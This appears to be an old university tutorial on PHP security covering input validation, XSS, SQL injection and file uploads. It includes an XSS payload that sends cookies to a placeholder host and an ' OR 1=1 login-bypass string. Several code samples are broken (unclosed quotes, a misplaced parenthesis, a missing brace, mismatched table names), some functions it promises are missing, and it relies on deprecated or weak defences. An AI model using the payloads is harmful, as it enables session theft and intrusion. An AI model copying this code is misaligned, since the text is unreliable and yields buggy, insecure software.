There are many types of security flaws that a developer must be aware of when creating PHP applications. The tutorial below will describe the basic vulnerabilities and provide solutions to assist in the creation of a more secure environment.
The fundamental security issues a developer must be aware of, include:
When developing your own PHP scripts, be aware of security issues. Also view the OWASP Top 10 Security Vulnerabilities. Listed below are some things you can do which will make your web application more secure. For more information, visit the links above.
The URI web server has the register globals setting turned off. This means that the source of the values for variables needs to be explicitly defined. When this setting is on, it is possible to use variables without knowing for sure where they come from and it can only be assumed that they are coming from the expected place. This setting specifically affects variables that come from global scope such as GET, POST and COOKIE variables (among others). For example: previously, if you had a login form on your page and the textbox name was username, the PHP variable you used to reference what was submitted could have been $username. The value in $username could have come from a GET or POST request. Now, however, you need to use something like $HTTP_POST_VARS['username'] or $_POST['username']. This is better, because now you know for sure the variable is coming from a POST request. It is slightly more secure and harder for hackers to forge variables.
To upgrade your script to work with the new setting, the proper, secure way is to go through your code and initialize (at the beginning, or before the first use) the necessary variables to the appropriate array (and index, i.e. $username = $_POST['username'];). Alternately, for an immediate (temporary) solution, you could add the following code to the PHP files you are having problems with: import_request_variables("GPC"); This code will take the GET, POST and COOKIE arrays and declare variables for every index in these arrays. So, $_POST['username'] would become $username in your PHP file, and your script would behave as it did before register globals was turned off.
The safest approach to securing user input is to never trust what is being submitted and always treating the data as a possible attack. This is known as a whitelist approach. User input generally originates from a form in which data is needed to be processed by the application.
A good place to start validating user input is with the creation of the form itself. With the use of an input tag, there are a few attributes which can help secure data before a script processes the information.
Example:
<input type="text" name="userName" maxlength="25"/>
Example:
<input type="password" name="userPassword"/>
After the form has been made more secure, it is time to validate the user input within the PHP scripts. This is to add a second layer of security in the event that an attacker has bypassed the first layer. Validating user input can be completed with various methods, including, but not limited to:
Checking the length of the passed data strings
Even if the form from which the data originated might have used the maxlength attribute, it is possible for an attacker to circumvent this security measure. To be safe, one should check the length of the data string before it is used within the PHP script. This can be done by using the strlen() PHP function, as seen below:
<?php
if( strlen($_POST['userName] <= 25 ){
$userName = $_POST['userName];
}
else{
echo "You have entered a user name containing too many characters. Please use 25 characters or less.";
}
?>
Filtering Data
One possible way to create a more secure environment is to filter the incoming data. One can do this by only accepting the correct values and providing a default scenario for any data other than the accepted. This method is only efficient if the number of accepted values is small. Otherwise, it may become more of a tedious task code in all of the accepted values.
For example, lets say a form displays a drop down box which asks a student to select their academic year, either Freshman, Sophomore, Junior or Senior. This can be completed using either an if-else statement or a switch statement. The switch method is shown below.
<?php
switch ($_POST['acadYear'])
{
case 'Freshman':
case 'Sophomore':
case 'Junior':
case 'Senior':
$acadYear = $_POST['acadYear'];
break;
default:
echo "Invalid academic year selection.";
}
?>
Type Casting
Type casting a variable is quick, easy, and effective at insuring the data being processed is exactly what it needs to be. The process is similar to the method used in the C programming language, where the desired type is coded in parentheses, ( ), before the variable. The allowed casts are:
For example:
<?php
$intNum = (int) $_POST['age'];
$floatNum = (float) $_POST['price'];
$inputString = (string) $_POST['name'];
?>
Regular Expression
Regular expression can be complicated but it is very powerful tool to define which characters can exist within strings. While validating user input, regular expressions work well against email address inputs. To learn more about regular expressions, read this tutorial. Below is an example of how to validate an email address input with regular expression.
<?php
if ( preg_match("/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i", $_POST['email']))
{
$email = $_POST['email'];
}
?>
Cross site scripting is one of the more prevalent security flaws found within Web applications today. According to OWSAP.org, XSS occurs "when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user." This means that an attacker is submitting code, for example, Javascript, within a form field that could potentially redirect information, such as cookies, which store a username and password to an unknown location.
Here is an example of a simple script vulnerable to XSS and is used to fetch a news item based on an ID:
<?php
$id = $_GET['id'];
echo $id;
?>
If $_GET['id'] contains a number, then the script will run as intended. What happens if it contains the following:
<script>window.location.href = "http://domain.com/stealcookie.php?c=' + document.cookie;</script>
If an attacker passed this simple Javascript into the $_GET['id'] variable and convinced a user to click it, then the script would be executed and be used to pass the user's cookie data onto the attacker, allowing them to log in as the user.
How to prevent XSS attacks?
As mentioned earlier, you should never trust user input. Always presume that every bit of user input contains an attack. To prevent XSS attacks, you need to filter user input, removing it of HTML tags so that no Javascript can be run. The easiest way to do this is with the following PHP's built in function:
SQL injection is when malformed user input is used directly and deliberately in an SQL query, in a way that allows the attacker to manipulate the query. This means that an attacker could delete portions of your database, make himself an admin account, etc -- the possibilities are endless. Sites that use databases as a backend to store their data and using queries to insert and select data from it are often vulnerable to this form of SQL injection attacks.
One of the most common vulnerabilities is when logging in to a site. Take this example:
$username = $_POST['username'];
$password = $_POST['password'];
$result = mysql_query("SELECT * FROM usersTbl WHERE username = '$username' AND password = '$password'");
if ( mysql_num_rows ($result) > 0)
// logged in
This script is vulnerable to an obvious SQL injection attack. If the attacker enters a valid username in the username field, "rob", and the following in the password field:
' OR 1=1'
The resulting query will look like this:
SELECT * FROM site_users WHERE username = 'rob' AND password = '' OR 1=1
Since the last criteria will always be true, when 1 is equal to 1, the user will be able to log in as rob without knowing rob's password.
How to prevent SQL injection
As with XSS attacks, you must never trust user input. The best way of cleaning user input is using the following PHP's built in functions:
File uploads are potentially the biggest security risk in Web development. Allowing a third-party to upload files on your server could allow them to delete your files, empty your database, gain user credentials and much more. However, it's certainly possible to upload files safely, and such functionality can be a great feature of your site.
When allowing users to upload files from their local machine to your server, there are two things that you need to check:
If your script is uploading images, for example, you'll want to check the mime-type of the uploaded file to make sure they are of the following types: image/png, image/jpeg, image/gif, image/x-png and image/p-jpeg. Once that is done, you need to further check the file extension of the uploaded file. To do this, you should manually assign files an extension based on their mime-type. See sample code below:
$validMimes = array(
'image/png'=> '.png',
'image/x-png' => '.png',
'image/gif' => '.gif',
'image/jpeg' => '.jpg',
'image/pjpeg' => '.jpg'
);
$image = $_FILES['image'];
if(!array_key_exists($image['type'], $validMimes)){
die('Sorry, but the file type you tried to upload is invalid; only images are allowed.');
// Get the filename minus the file extension:
$filename = substr($image['name'], 0, strrpos($image['name'], '.'));
// Append the appropriate extension:
$filename .= $validMimes[$image['type']];
// Do something with the uploaded file
Below are the examples which have been used within this document.
input maxlength attribute
<input type="text" name="userName" maxlength="25"/>
input password attribute
<input type="password" name="userPassword"/>
Checking variable length with PHP
<?php
if( strlen($_POST['userName] <= 25 ){
$userName = $_POST['userName];
}
else{
echo "You have entered a user name containing too many characters. Please use 25 characters or less.";
}
?>
Filtering User Input
<?php
switch ($_POST['acadYear'])
{
case 'Freshman':
case 'Sophomore':
case 'Junior':
case 'Senior':
$acadYear = $_POST['acadYear'];
break;
default:
echo "Invalid academic year selection.";
}
?>
Type Casting
<?php
$intNum = (int) $_POST['age'];
$floatNum = (float) $_POST['price'];
$inputString = (string) $_POST['name'];
?>
Validate Email with Regular Expression
<?php
if ( preg_match("/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i", $_POST['email']))
{
$email = $_POST['email'];
}
?>
Preventing XSS and SQL Injection with a Single Function
<?php
function validate_input($input)
{
// Removes any script tags
$input = strip_tags($input);
// Stripslashes
if (get_magic_quotes_gpc())
{
$input = stripslashes($input);
}
// Escape special characters (Must have database connection previously made)
if (!is_numeric($input))
{
$input = mysql_real_escape_string($input);
}
// Validate numeric number
if (is_numeric($input))
{
$input = intval($input);
}
return $input;
}
?>
File Uploading
$validMimes = array(
'image/png'=> '.png',
'image/x-png' => '.png',
'image/gif' => '.gif',
'image/jpeg' => '.jpg',
'image/pjpeg' => '.jpg'
);
$image = $_FILES['image'];
if(!array_key_exists($image['type'], $validMimes)){
die('Sorry, but the file type you tried to upload is invalid; only images are allowed.');
// Get the filename minus the file extension:
$filename = substr($image['name'], 0, strrpos($image['name'], '.'));
// Append the appropriate extension:
$filename .= $validMimes[$image['type']];
// Do something with the uploaded file
It is important to keep in mind that these are not the only issues. While this tutorial provides ways to create a more secure application, it may still be susceptible to attacks. It is a good practice to research the various security flaws in order to stay up to date and be knowledgeable if any attack occurs. Various information sources on the Web include:
ITS Web Account Application Form
Departmental Web Server Registration
Request to add/update a hyperlink to my page on the main URI Web site.
What if the Webmaster made a mistake!
Subscribe to the URI Web Publishing Blog for latest news, tips, resources and tools related to web technologies.
Subscribe to URIWEB-L Listserv to keep informed of ideas on web-related issues on campus.